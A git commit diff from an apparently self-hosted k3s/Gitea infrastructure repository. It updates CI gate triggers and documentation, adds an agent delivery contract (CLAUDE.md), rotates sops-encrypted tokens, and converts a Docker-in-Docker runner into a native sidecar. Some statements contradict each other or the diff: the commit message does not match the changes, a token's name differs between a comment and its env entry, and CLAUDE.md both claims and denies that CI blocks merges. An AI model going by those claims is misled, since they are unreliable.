docs(decisions): record the rebase and the README merge decision

#18 has landed, so this branch's "PR #18 must merge first" caveat was stale --
corrected to say what is now true and, more importantly, what is still NOT:
no image has been built or pushed, so the digest this branch pins resolves to
nothing.

Also records the one real conflict the rebase hit and how it was resolved.
#18's README carried a blockquote saying the 4th admission rule pinning the
init container's command "is not in this branch". It IS in this branch
(trigger-initcontainers-must-be-the-committed-clone-step, plus the
ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording
would have left main documenting an open hole that had just been closed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/README.md

@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
 ## The pipeline
 
 ```
- lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
+ decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
  └──────────────── run in CI, NO cluster ────────────────┘        └── in-cluster Chainsaw Job ──┘
                     live now                              cluster-gated (SKIPS in Phase 0)
 ```
@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
 *collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
 (`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
 
-## Honest SKIP — never fake green (Phase 0)
+## Honest SKIP — never fake green
 
-**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
+**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
+exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
+skip logic below is still correct and still honest, but read it as describing a **live
+coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
+phrased as a phase is part of why the gap went unexamined.
+
+Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
 they do not pass**:
 
 - The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
 ## Triggers & branch model (CONTRIBUTING.md)
 
 - `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
-- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
+- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
+  so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
+  **No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
+  protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
 
-## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
+## Transition: COMPLETE (2026-09-29)
 
-Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
-[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
+This section used to describe a migration as pending. It has happened. Gitea is live at
+`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
+`gate.yml` runs on every PR.
 
-1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
-   but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
-   local feature-branch → `main`, the gate enforced by convention + the local runner.
-2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
-3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
-   enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
-   `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
-   **platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
+**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
+anyone checking the platform. In reality `main` had **no branch protection** and **zero
+runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
+between rested on an assertion nobody verified. PR #1 — the first pull request this
+repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
+
+So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
+Query the API. `infra/gitea/` holds the scripts and the measured state.
+
+Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
+`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
+CI. That is a real coverage gap, not a phase.
 
 ## Configuration (set in Gitea; referenced by name only)
 

.gitea/workflows/gate.yml

@@ -44,16 +44,31 @@
 ---
 name: gate
 
+# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
+#
+# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
+# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
+#
+#   * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
+#     SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
+#     clock on the one result that actually gates the merge. That cost real time during the
+#     2026-09-29 plex claim, where the loop is racing a short-lived token.
+#   * The list silently did not match this repo's own convention. Branches here are `feat/**`,
+#     which was absent, so the "fast feedback" never fired for the most common prefix anyway —
+#     a mismatch nobody noticed for a month because its only symptom was a MISSING run.
+#     Any hand-maintained prefix list has that failure mode; deleting it removes the class.
+#   * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
+#     you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
+#     same checks buys nothing.
+#
+# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
+# which no PR context exists.
 on:
   pull_request:
     branches: [main]
   push:
     branches:
       - main
-      - 'feature/**'
-      - 'fix/**'
-      - 'docs/**'
-      - 'chore/**'
 
 concurrency:
   group: gate-${{ github.ref }}
@@ -95,9 +110,27 @@ jobs:
       # UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
       # tolerated exit 3 are explained in the file header; the tolerance covers exactly one
       # thing, the unverifiable spec repo, and nothing else can produce a 3 here.
+      # GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
+      # OWN database (branch protection + runner registration) — the blind spot that let `main`
+      # sit unprotected with zero runners for a month while this repo recorded both as working.
+      # Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
+      #
+      # WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
+      # (spec-immutability). It now also covers gitea-settings skipping when that secret is
+      # absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
+      # every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
+      # exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
+      # tolerance narrows back to spec-immutability alone.
       - name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
         env:
           GATE_STRICT_SKIPS: "true"
+          SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
+          # ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
+          # UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
+          # skipping, this line turns that into a failure and the PR goes red instead of
+          # merging. Green here means the token resolved and the live Gitea matched the
+          # declaration in infra/gitea/expected-branch-protection.json.
+          REQUIRE_GITEA_SETTINGS: "true"
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

.gitea/workflows/merge-gate.yaml

@@ -11,11 +11,14 @@
 #                                          v
 #                                     merge-gate decision  [R-TEST-03: touched subset green]
 #
-# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
-# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
-# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
-# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
-# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
+# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
+# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
+# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
+# as a plan and never revisited once the plan completed.
+#
+# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
+# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
+# statement about the live platform; query the API instead (see infra/gitea/).
 #
 # CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
 # scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a

CLAUDE.md

@@ -0,0 +1,171 @@
+# CLAUDE.md — how work lands in this repo
+
+Read this before doing anything durable. It is the delivery contract for AI coding
+sessions and agents. The newest entry in `decisions/` is the current PM handoff and
+takes precedence on *what* to work on; this file governs *how* it lands.
+
+## 1. Never push to `main`. Ever.
+
+Every durable change reaches `main` exactly one way:
+
+    branch  ->  push the branch  ->  open a PR  ->  CI gate green  ->  human approval  ->  merge
+
+There is no other path. Specifically:
+
+- **Do not `git push origin main`.**
+- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
+- **Do not merge your own PR.** A human approves and clicks merge.
+- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
+  anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
+
+> **Many runbooks under `runbooks/` still say `git push origin main` IS the deploy.**
+> That wording is **stale** — it predates the PR flow. It describes what Flux does
+> (main is what the cluster follows), not what you are permitted to do. Honour this
+> file, not that line. Fixing those runbooks is tracked work.
+
+## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
+
+Verified against the live Gitea on 2026-09-29:
+
+| Expected | Actual |
+|---|---|
+| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
+| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
+| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
+| Approval required before merge | ✅ `required_approvals: 1` |
+
+All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+true. They are true now because each was measured, and the push rejection was provoked rather
+than assumed. **Re-measure before relying on any of them** — see §2b.
+
+Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
+CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
+
+**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
+the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
+strength of a check you have not seen report — and note that a **skipped** Gitea job
+reports as `success`, so a green tick is not by itself evidence that anything ran.
+
+## 2b. Never infer platform state from this repository
+
+**This repo is not evidence about the live platform.** Neither is the handoff log
+(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
+believed at the time of writing, and both have been confidently wrong for a month at a
+stretch.
+
+On 2026-09-29 the log stated the merge gate was a required status check with a runner
+online. The API said `branch_protections: []` and **zero** runners. Everything downstream
+of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
+was wrong, and nothing in the tree could have revealed it, because the tree was the source
+of the error.
+
+**So, before asserting that any gate, protection, runner, secret, or workload is in a
+given state: query the thing itself.**
+
+| Claim about... | Check |
+|---|---|
+| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
+| a runner exists | `GET /api/v1/admin/actions/runners` |
+| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
+| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
+| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
+
+Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
+"unverified" is a legitimate report, and a far better one than a confident guess that
+matches the docs.
+
+**A green tick is not proof anything ran.** Read what actually executed.
+
+## 3. Gate before you push
+
+    ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+
+Exit codes are a contract — do not flatten them:
+
+| rc | Meaning |
+|---|---|
+| 0 | PASS |
+| 1 | BLOCKED — something failed |
+| 3 | UNDETERMINED — a stage did not run. **Never report this as green.** |
+
+`spec-immutability` reaches rc 3 whenever the sibling spec repo is not checked out
+beside this one; that single skip is expected and tolerated. Any *other* skip is a
+real gap in your run.
+
+**Never gate on the host.** `promtool` and `kustomize` are not on the host `$PATH`,
+so checks SKIP and you get a false rc 3. Only the pinned toolbox result counts.
+
+### Running the gate from a git worktree
+
+Two unrelated failures, both with known workarounds — put both in any agent brief:
+
+1. **`dev.sh` refuses to start:** `infra/ansible/.cache/prod.kubeconfig` is untracked
+   and exists only in the main checkout. Do **not** copy it (it is a credential).
+   Use `DEV_KUBECONFIG=/dev/null` — the gate contacts no cluster, so L2/L3 scaffold-skip
+   normally.
+2. **Every `git` call inside the container fails:** a worktree's `.git` is a pointer to a
+   gitdir outside the mounted root. `dev.sh` takes no extra-mount flag, so inject one via
+   the `ENGINE` hook — a shim that intercepts `run` and re-execs
+   `podman run -v /path/to/main/.git:/path/to/main/.git:ro "$@"`. A traceback in
+   `tracked_files()` is this bug, not a broken tree.
+
+## 4. Branch naming
+
+Use `feat/`, `fix/`, `docs/`, `chore/`. Note that `.gitea/workflows/gate.yml`'s **push**
+trigger lists `feature/**` — not `feat/**` — so branch pushes get no fast-feedback run.
+The `pull_request` trigger fires regardless of branch name, so the PR gate is unaffected.
+
+## 5. Cluster access
+
+`kubectl` does not work on the operator workstation; the toolchain lives only in the
+pinned container. Always name the context explicitly:
+
+    ./infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get nodes'
+
+`dev.sh` merges both clusters and picks a current-context **per invocation**; that
+default has already changed once. Never rely on it. Do not run two `dev.sh`
+invocations concurrently.
+
+**Mutating `kubectl` and `flux reconcile` are operator actions, not agent actions.**
+
+## 6. Secrets
+
+- **Never `sops -d` a file into a terminal, a log, or a transcript.**
+- **Never print a Secret's `.data`/`.stringData`** when checking whether it exists —
+  list key names or object names only. A password has been leaked into a transcript
+  this way before.
+- Encrypted files are `*.sops.yaml` or live under `secrets/`. The root `.sops.yaml` is
+  the single creation-rules file; do not add a second one in a subtree.
+- A short-lived credential (e.g. a plex.tv claim token, ~minutes) cannot survive the PR
+  flow. Do not design around committing one — read the expiry from the issuing page and
+  treat a burnt token as free to retry.
+
+## 7. Before you finish — write a handoff entry, in its OWN file
+
+Add **one new file**:
+
+    decisions/YYYY-MM-DD-<slug>.md          <slug> = your branch's last segment
+
+with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
+
+    ## What changed
+    ## What I verified
+    ## What I did NOT verify
+
+State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
+and this repo has already been burned by the difference. All three headings are
+**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
+Template and full rationale: `decisions/README.md`.
+
+**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
+SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
+to it. Appending to its tail is what every agent used to do, and because every branch
+appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
+on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
+`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
+anything to do with each other. Separate files have nothing to merge, which is the
+entire fix. Note that the damage from getting this wrong lands on *other people's*
+branches, later, which is why it is a gate stage and not a request.
+
+Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
+wording is **stale**, in the same way §1's `git push origin main` wording is stale.

apps/wave-0/plex-claim-secret.sops.yaml

@@ -7,12 +7,20 @@
 # substitution). A braced token quoted from the upstream shell script would be a live hazard here,
 # not prose, so the upstream conditions below are described in words.
 #
-# THE VALUE SHIPPED WITH THIS FILE IS A PLACEHOLDER, DELIBERATELY — the literal string
-# `replace-me-with-a-fresh-plex-tv-claim-token`, not a credential. A https://plex.tv/claim token has
-# a ~4-minute TTL, far shorter than commit -> push -> Flux reconcile -> pod-roll, so no token
-# committed here is ever still valid when the pod starts. This file exists to make the Secret — and
-# therefore the env reference — ALWAYS RESOLVABLE IN THE FLUX GRAPH, not to carry a working token.
-# The real token is injected by the operator inside that 4-minute window: runbooks/plex-claim.md.
+# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
+# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
+# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
+# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
+# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
+#
+# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
+# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
+# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
+# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
+#
+# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
+# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
+# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
 #
 # WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
 # s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
@@ -46,7 +54,7 @@ metadata:
         app.kubernetes.io/name: plex
 type: Opaque
 stringData:
-    PLEX_CLAIM: ENC[AES256_GCM,data:8O9nvFw+6OR+53mXvHfe321aSmYUQcZuAqLKZpcSlUwNyeU+Nbp/tRPBlg==,iv:EbvvOsXlXjAFOewnWbK28ErmUdWcJJN0Q5Gm53El3ZM=,tag:wXaInGFQ+wqUt765vvjCDA==,type:str]
+    PLEX_CLAIM: ENC[AES256_GCM,data:nLmzeUBWRhRjUakrGiGzQpQuqZNcIYvRH6M=,iv:z0on/dArsNejNLrp3V1nSiNLFzKcREhPuMO1634CwQw=,tag:Ih23CT1JYna/5lfYQUb1Dw==,type:str]
 sops:
     kms: []
     gcp_kms: []
@@ -62,8 +70,8 @@ sops:
             QUtYdHEvN042ajNoNktOLzlYQmQrc1kK4NHozMbXVzNGYbUBRbK6a9Uw/sVPAfe6
             RW5KWzZ4I/hloqjN3zzVISoSMieMkBGDnF5qZS5N6FqIc6/HrsDD8A==
             -----END AGE ENCRYPTED FILE-----
-    lastmodified: "2026-09-29T03:25:20Z"
-    mac: ENC[AES256_GCM,data:u5uVmOdXN78UaKUMkPZzqeW84222+tcG57rFKIKcvRKwJkzMTOuSFOeQpKh4eK4KZXVKK7+Q3mFf5G8a+jjuKjYbjSCpR38AF3TJv3xrj8fhnqR+8QHRp8tsgA0jJZBS55N7KKDyOztLFo49sI7mNnlrUwhWTQUkbLgN1LxF5MA=,iv:P4W9G2mI/3VTkvSrDZvnkJ0Qxb1nFmXcF35CrSNhako=,tag:yVsg7xsUALUoCJH0cHfQjw==,type:str]
+    lastmodified: "2026-09-29T06:31:16Z"
+    mac: ENC[AES256_GCM,data:62BmBAq45CD2g6LDyx+Ho4bTfrhJcaro/RB/iM+OaRc4a/D83MhjbcBL11Uz/O726inqhkvCKDJ/fFemoc50JDbtC79cYMaxrGJNjFM0sdckWrowPvh6ie7HHHUBRBaefl+gNfnc+pbvcncvRzwA4RyzcZse1wbxKfHN8FjEopE=,iv:h0cMShs3tIgnY6eruUYymYrcLFzQZLk/uXQJ/Jsd5ek=,tag:nZ9Pau7p4xWT1QCN1vv2vA==,type:str]
     pgp: []
     encrypted_regex: ^(data|stringData)$
     version: 3.9.4

apps/wave-1/gitea-actions-runner-secret.sops.yaml

@@ -4,7 +4,13 @@
 # against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
 # decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
 # in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
-# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
+# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
+# Gitea API and writes it here via `sops set`, without the value ever being printed.
+# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
+# it still decrypts, redirect: `sops -d <file> > /dev/null`.
+# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
+# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
+# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
 apiVersion: v1
 kind: Secret
 metadata:
@@ -14,7 +20,7 @@ metadata:
         app.kubernetes.io/name: act-runner
 type: Opaque
 stringData:
-    token: ENC[AES256_GCM,data:W48mEtBqGeukX13lMhrhrer+zB21cLVp0acy3m1Xy/oo89DqO8FX/Q==,iv:wfTUU7RiFLdEc1fmEFS9DfE2SmGCFLPK17m0IKspft0=,tag:UhoXA47p7386KHcYNbPzCg==,type:str]
+    token: ENC[AES256_GCM,data:f574mAUkLvMGq0TYycwCd4tduMuBgQLiTg/140kuRDgFUYYm1ZoSjQ==,iv:Tn7gFWBLm2hHk/BbfVX7qIZegwZp9ah1cMou5i2O91E=,tag:TkdSiMI4sdCNn2JuN++Pig==,type:str]
 sops:
     kms: []
     gcp_kms: []
@@ -30,8 +36,8 @@ sops:
             MDZLUE52QzJXbFlrNWxOcVhJbDNnY00KxCpFkbhhCuk4Fa8CC3C4+R9AcsUnaXQR
             UjAfwKFoXAneXUih7TTXMbR/6+VgQBww5Bmwpn7jVLnzP0N0pIZVTA==
             -----END AGE ENCRYPTED FILE-----
-    lastmodified: "2026-08-26T04:48:14Z"
-    mac: ENC[AES256_GCM,data:b99/zkL332RIT3FYBa1sR3o9+pwlmrUgKvVHawbjWYSJZ7ERUfO+LXuhKJ0HKrp6i1JfkurZlRO27iBcfrBisAXS9KLaqmsCJf4kKfFc4skANrmKCzprrXUmZexr1uiE8eDUzjNCLNxSCZfnFR6d/AkMXJqi6Hsj9/O+wH2lWsc=,iv:3DIPszSdxK81ERO3o/nTs33qQYHaAKLNcGP4qlZViFc=,tag:/B6VKkzMUwh0byNUicS5wQ==,type:str]
+    lastmodified: "2026-09-29T05:48:35Z"
+    mac: ENC[AES256_GCM,data:nobqr794nrdRYFrd8Ct8bw9M8NtftJXawRGk9zrL+pTWahwlWrwXVtOAxMGEPVojz3WemsxTJESzmzy0gcT1QcrjpYTsF2MVHcr6+umk8q9gAh2enyxy/0QkYiSt6XjvRVqfqleLanEkeIq1FPf2zhSLSJaiw4/oZTfkCHD1/Zg=,iv:JxaP0htmGcvE4ZU1YAmGF4A6JkejV29NNygyMl1OKF8=,tag:G70NvcPyVuagXhugWoUfTw==,type:str]
     pgp: []
     encrypted_regex: ^(data|stringData)$
     version: 3.9.4

apps/wave-1/gitea-actions.yaml

@@ -99,70 +99,79 @@ spec:
       # CI holds no cluster credentials — do not mount a SA token into the runner or
       # (via the shared netns) the job containers (R-SEC-02, docs/14).
       automountServiceAccountToken: false
+      # ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
+      #
+      # NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
+      # `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
+      # running alongside them, and is terminated after them. kubelet holds `runner` until
+      # this container's startupProbe passes, so the ordering is enforced by the kubelet
+      # instead of hand-rolled shell in the runner.
+      #
+      # This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
+      # Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
+      # postBuild substitution over this ENTIRE manifest, comments included, and those loops
+      # depended on bare dollar-names surviving it untouched. There is now no shell here at
+      # all, so there is nothing to escape or mis-escape.
+      #
+      # WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
+      # re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
+      # and only THEN begins listening, so the port can accept a connection while the certs
+      # are absent or incomplete -- and act_runner hard-exits on a missing
+      # /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
+      # are usable and that the daemon answers.
+      #
+      # CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
+      # introduced this claimed the conversion would REMOVE the one-per-start dockerd line
+      # `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
+      # appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
+      # attempt, landing microseconds after dockerd begins listening and cut off by
+      # timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
+      # was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
+      # startup line would slow every subsequent poll. Left documented rather than silenced.
+      #
+      # periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
+      initContainers:
+        - name: dind
+          restartPolicy: Always   # <- this field is what makes it a SIDECAR
+          image: docker:27-dind
+          securityContext:
+            privileged: true
+          env:
+            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
+            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
+            - name: DOCKER_TLS_CERTDIR
+              value: /certs
+          volumeMounts:
+            - name: certs
+              mountPath: /certs
+            - name: dind-storage
+              mountPath: /var/lib/docker
+          resources:
+            requests:
+              cpu: 100m
+              memory: 256Mi
+            limits:
+              memory: 2Gi
+          startupProbe:
+            exec:
+              command:
+                - docker
+                - --host=tcp://127.0.0.1:2376
+                - --tlsverify
+                - --tlscacert=/certs/client/ca.pem
+                - --tlscert=/certs/client/cert.pem
+                - --tlskey=/certs/client/key.pem
+                - info
+            periodSeconds: 1
+            failureThreshold: 60
       containers:
         # ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
         - name: runner
           image: gitea/act_runner:0.2.11
-          # TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
-          # entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
-          # boot and runs `act_runner daemon`.
-          #
-          # STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
-          #   and hard-exits if it is missing (a startup race against the sidecar).
-          # STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
-          #   necessary but NOT sufficient. dockerd writes the certs and only THEN begins
-          #   listening on :2376, so a runner that proceeds on the file alone still hard-exits
-          #   with "cannot ping the docker daemon at tcp://localhost:2376" — observed
-          #   crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
-          # Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
-          # surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
-          #
-          # ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
-          #   braced form or the double-dollar form; both are wrong here, for different reasons.
-          #   clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
-          #   Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
-          #   Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
-          #   and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
-          #     - A bare  $name  is NOT a reference to envsubst: it passes through untouched, and
-          #       that holds even when the name IS set in cluster-vars. So $i and $j reach the
-          #       cluster verbatim and both 60s bounds below are real, enforced bounds.
-          #     - $((i + 1))  is likewise untouched: "(" cannot begin a variable name.
-          #     - A BRACED dollar-name IS a reference and gets replaced — with the empty string
-          #       when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
-          #       which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
-          #     - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
-          #       form — still wrong for us, because on any path where envsubst does NOT run
-          #       (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
-          #       reads that leading double-dollar as its own PID, so a bound would compare a
-          #       string like 1234{i} against 60. The bare form is the only spelling that is
-          #       correct on BOTH paths.
-          #     - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
-          #       name") that fails this whole Kustomization — and this Kustomization gates every
-          #       merge in the repo. So never write one anywhere in this file, INCLUDING in a
-          #       comment. That is why this note names the three forms in words rather than
-          #       showing them: an earlier draft of it spelled them out literally and broke
-          #       `flux envsubst` on the file. (Same trap the indexed-expansion warning in
-          #       clusters/base/apps-vms.yaml describes.)
-          command:
-            - /bin/sh
-            - -c
-            - |
-              # Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
-              i=0
-              until [ -f /certs/client/ca.pem ]; do
-                i=$((i + 1))
-                [ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
-                echo "waiting for dind TLS certs ($i)"; sleep 1
-              done
-              # Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
-              # Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
-              j=0
-              until nc -z -w1 127.0.0.1 2376; do
-                j=$((j + 1))
-                [ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
-                echo "waiting for dind daemon on :2376 ($j)"; sleep 1
-              done
-              exec /sbin/tini -- /opt/act/run.sh
+          # No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
+          # registers from env on first boot and runs `act_runner daemon`. The two wait-loops
+          # that used to live here are gone: kubelet now holds this container until the dind
+          # sidecar's startupProbe passes (see initContainers above).
           env:
             - name: GITEA_INSTANCE_URL
               value: https://gitea.${BASE_DOMAIN}
@@ -198,52 +207,6 @@ spec:
               memory: 128Mi
             limits:
               memory: 512Mi
-        # ---- Docker-in-Docker: the job executor daemon (privileged) ----
-        #
-        # FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
-        #   Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
